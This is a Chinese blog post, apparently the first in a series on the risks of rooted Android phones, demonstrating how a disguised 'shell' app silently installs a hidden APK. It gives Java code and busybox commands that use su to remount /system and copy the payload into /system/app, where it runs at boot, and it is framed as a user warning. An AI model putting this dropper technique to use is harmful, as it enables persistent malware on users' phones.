`
阿尔萨斯
  • 浏览: 4275301 次
社区版块
存档分类
最新评论

android手机root后的安全问题 (一)

 
阅读更多

前提:你有一部已经root的android手机,并且手机中有busybox和superuser


导读:本文介绍一种简单的病毒以及如何“防御”。

写本博客的原因是:有无数用户觉得root没有什么风险,或者风险不会降临到自己头上。这里告诉大家,其实风险就在身边!


这里讲的内容其实对于大多数开发者都不是什么新鲜的事情了,使用的技术也非常一般和普遍。

虽然大家都知道可以这样这样,但是还是随意下载软件,不加小心,就会掉入陷阱。

有些人觉得,只要我下载软件的时候检查软件所申请的权限就好了,其实没有那么简单。


我们来看看如果一个软件,获得了一次root权限,那么它可以作些什么呢?

好吧,我们先来一次“静默安装”!

原理很简单,基本上相当于把apk push到手机里面,两个选择

data/app

system/app

如果我是病毒软件,我肯定选择push到system/app

我们需要制作两个apk,一个是真正目的的(病毒,real.apk),另一个是假的壳子(fake.apk)

首先先制作real.apk,我们只是用来测试,所以这个apk没有什么实际内容(由于这里无法上传附件,请移步到http://su1216.iteye.com/blog/1668734 下载real.apk)。

real.apk里有一个receiver,用来监听开机的广播

android.intent.action.BOOT_COMPLETED

还有一个activity,没有什么实质内容,然后编译出apk,待用。


下面来制作壳子

新建一个android工程,将之前的real.apk复制到assets目录下

然后新建一个activity来测试

这个壳子的很简单,它只负责把真实的应用安装到用户手机中,我们再细分一下,首先,将文件assets/real.apk提取出来,放到自己的私有目录中,在本例子中的目录为data/data/com.example.fake/files,这一步是不需要任何权限的

prepareButton.setOnClickListener(new View.OnClickListener() {
	public void onClick(View v) {
		File dataFolder = getFilesDir();
                File jar = new File(dataFolder.getAbsolutePath() + "/real.apk");
                copyFile("real.apk", jar, mResources);
	}
});

其中copFile函数见附件(就是一个简单的io读写操作),这里只给出伪代码

InputStream myInput = null;
try
    myInput = resources.getAssets().open(filePath);
    ……
catch
……
finally
……

第一步已经完成了,下一步请求root权限,然后将real.apk恶意安装给用户。

这里需要使用到busybox,命令如下

busybox mount -o remount,rw /system
busybox cp /data/data/com.example.fake/files/real.apk /system/app/real.apk
busybox rm /data/data/com.example.fake/files/real.apk

之所以使用busybox,是因为手机里面可能没有mount、cp、rm等命令(我的手机里面就没有)

当然superuser需要同意你使用root权限

至此,你的入侵行为已经全部完成!

installButton.setOnClickListener(new View.OnClickListener() {
		public void onClick(View v) {
			String packageName = getPackageName();
			String[] commands = {"busybox mount -o remount,rw /system",
                                 "busybox cp /data/data/" + packageName + "/files/real.apk /system/app/real.apk",
                                 "busybox rm /data/data/" + packageName + "/files/real.apk"};
			Process process = null;
			DataOutputStream dataOutputStream = null;

			try {
				process = Runtime.getRuntime().exec("su");
				dataOutputStream = new DataOutputStream(process.getOutputStream());
				int length = commands.length;
				for (int i = 0; i < length; i++) {
					Log.e(TAG, "commands[" + i + "]:" + commands[i]);
					dataOutputStream.writeBytes(commands[i] + "\n");
				}
				dataOutputStream.writeBytes("exit\n");
				dataOutputStream.flush();
				process.waitFor();
			} catch (Exception e) {
				Log.e(TAG, "copy fail", e);
			} finally {
				try {
					if (dataOutputStream != null) {
						dataOutputStream.close();
					}
					process.destroy();
				} catch (Exception e) {
				}
			}
		}
	});
}

重启手机之后,real.apk就能工作了,它会接收到开机广播

如果你嵌入了更恶劣的代码,比如偷发短信,窃取邮件,那么用户也是很难察觉的

real.apk在settings中会显示在系统应用中,用户不太会怀疑,即使怀疑了,他们也不敢轻易卸载!谁让他们自己随意刷rom呢,每个rom集成的软件都不一样。


如何防御?!

我不知道如何防御,最简单的办法就是,解压你来路不明的apk文件,看看assets文件下有没有什么可疑文件。当然,病毒可能会去掉或者修改文件名的后缀!

我手机中安装了卡巴斯基免费版,很可惜,它没有查出病毒(即使你的real.apk嵌入更恶意的代码)

大家可以试试其他杀毒软件,比如……希望大家能给个反馈结果



请大家不要用root的手机随意下载软件,更不要以任何借口制造任何病毒!



android手机root后的安全问题 (一)

android手机root后的安全问题 (二)

android手机root后的安全问题 (三)

android手机root后的安全问题 (四)



android安全问题(一) 静音拍照与被拍

android安全问题(二) 程序锁

android安全问题(三) 钓鱼程序




转贴请保留以下链接

本人blog地址

http://su1216.iteye.com/

http://blog.csdn.net/su1216/

分享到:
评论

相关推荐

    中兴U880 Android手机root工具 SuperOneClick

    【中兴U880 Android手机root工具 SuperOneClick】是一种专门为中兴U880智能手机设计的便捷Root工具,其主要目标是帮助用户获取设备的最高管理权限,即所谓的Root权限。在Android系统中,Root权限相当于Windows系统中...

    android手机root工具

    这是一个工具,帮你获取android手机的root权限。让你不受控制,当然,这可能也给你手机带来一些安全问题,所以请慎重。

    android手机获取root权限详细教程资料.pdf

    Android手机获取root权限是许多...总之,Android手机获取root权限是一个复杂但有回报的过程,允许用户深度定制设备,但也伴随着潜在的风险。对于愿意探索设备潜力并愿意承担相应风险的用户,这是一个值得考虑的选择。

    android 系统获取ROOT权限工具

    在Android系统中,"获取ROOT权限"是一个关键概念,它涉及到对手机操作系统的深度定制和管理。ROOT权限类似于Linux或Unix系统中的超级用户权限,允许用户访问和修改系统的每一个角落,包括系统文件、核心库以及预装...

    Android手机ROOT权限详细说明.doc

    Android手机的ROOT权限是一个关键的概念,尤其对于那些喜欢深入探索和自定义设备的用户来说。在Android系统中,"ROOT"是指获取手机操作系统最高级别的权限,相当于Linux系统中的超级管理员用户账户,也就是root用户...

    android获取root权限

    5. **检查权限**:root成功后,用户可以在手机上安装一个名为“SuperSU”的应用,以管理root权限的分配。 6. **恢复未root状态**:如果需要取消root,可以再次使用SuperOneClick的“Unroot”功能,或者利用其他工具...

    Android获取root权限工具

    在Android操作系统中,根权限(Root权限)是一个高级权限,允许用户访问系统核心部分,进行更深入的系统定制和管理。通常,Android设备出厂时,系统为了保护设备稳定性和安全性,会限制用户获取这种权限。然而,对于...

    安卓手机root权限文件

    总的来说,安卓手机root权限文件涉及到的是Android系统的底层操作,它可以为用户带来更自由的设备定制体验,但也伴随着潜在的风险。理解并谨慎使用root权限,才能真正发挥其优势,避免可能的问题。

    联想手机A60的Root工具

    【联想手机A60的Root工具】是一款专为联想A60及A66t智能手机设计的软件,用于获取Android操作系统的Root权限。在Android系统中,Root权限类似于Windows操作系统中的管理员权限,允许用户对系统进行更深层次的定制和...

    手机端root破解

    【手机端root破解】是指通过特定的技术手段获取Android设备的超级用户权限,让普通用户能够访问和修改系统级文件,从而实现对手机系统的深度定制和优化。这一过程涉及到多个关键步骤和技术概念,以下是对这些知识点...

    android 2.3.7及以上-root工具

    Android 2.3.7是一个较早的版本,对于这个版本及其以上进行root操作可能会遇到一些挑战,因为厂商通常会加强系统的安全措施,防止未经授权的访问。SuperOneClick是一款早期流行的root工具,但并非对所有设备和系统...

    Android智能手机信息安全问题与对策分析.pdf

    随着全球智能手机的普及率不断攀升,特别是Android系统的广泛应用,信息安全问题成为了一个不容忽视的领域。据统计,2015年全球智能手机用户已超过19亿,预计未来一年内将达到20亿。这种快速增长的背后,伴随着的是...

    android 2.3.7 root权限合集

    5. **安全检查与维护**:一旦设备root成功,记得安装一个可靠的SuperSU或SuperUser应用来管理root权限,并定期更新以防止安全漏洞。同时,避免安装来源不明的应用,因为root权限可能会增加设备被恶意软件感染的风险...

    安卓手机Root权限破解.doc

    许多机友新购来的Android机器没有破解过Root权限,无法使用一些需要高权限的软件,以及进行一些高权限的操作,其实破解手机Root权限是比较简单及安全的,破解Root权限的原理就是在手机的/system/bin/或/system/xbin/...

    检测手机是否root

    然而,Root后的手机可能会失去官方保修,并可能增加安全风险。 "检测手机是否root"是一项重要的功能,特别是对于应用开发者和普通用户而言,了解设备的安全状态至关重要。以下是关于如何检测Android设备是否已被...

    android 2.3.4 获得root 权限

    对于XT800+运行Android 2.3.4版本的手机用户来说,这可能是一个非常吸引人的功能,特别是想要摆脱电信定制软件的束缚。 1. **Root概念**:Root权限源自Linux系统,是系统中的顶级权限,拥有者可以修改系统文件、...

    android手机获取root权限详细教程.pdf

    Android手机获取root权限是许多高级用户为了实现更多自定义功能和优化系统性能的选择。Root权限类似于Linux和UNIX系统中的超级管理员账户,具有对设备的完全控制权,能够访问和修改系统内的任何文件,包括那些制造商...

    android手机获取root权限教程

    root就是手机的神经中枢,它可以访问和修改你手机几乎所有的文件,这些东西可能是制作手机的公司不愿意你修改和触碰的东西,因为他们有可能影响到手机的稳定,还容易被一些黑客入侵(Root是Linux等类UNIX系统中的...

    SuperOneClick android Root 权限绿色工具

    SuperOneClick是一款知名的、便捷的Android设备Root工具,因其简单易用和较高的成功率而受到广大用户的青睐。 **SuperOneClick简介** SuperOneClick是一款由XDA开发者社区开发的免费软件,其主要功能是帮助用户...

Global site tag (gtag.js) - Google Analytics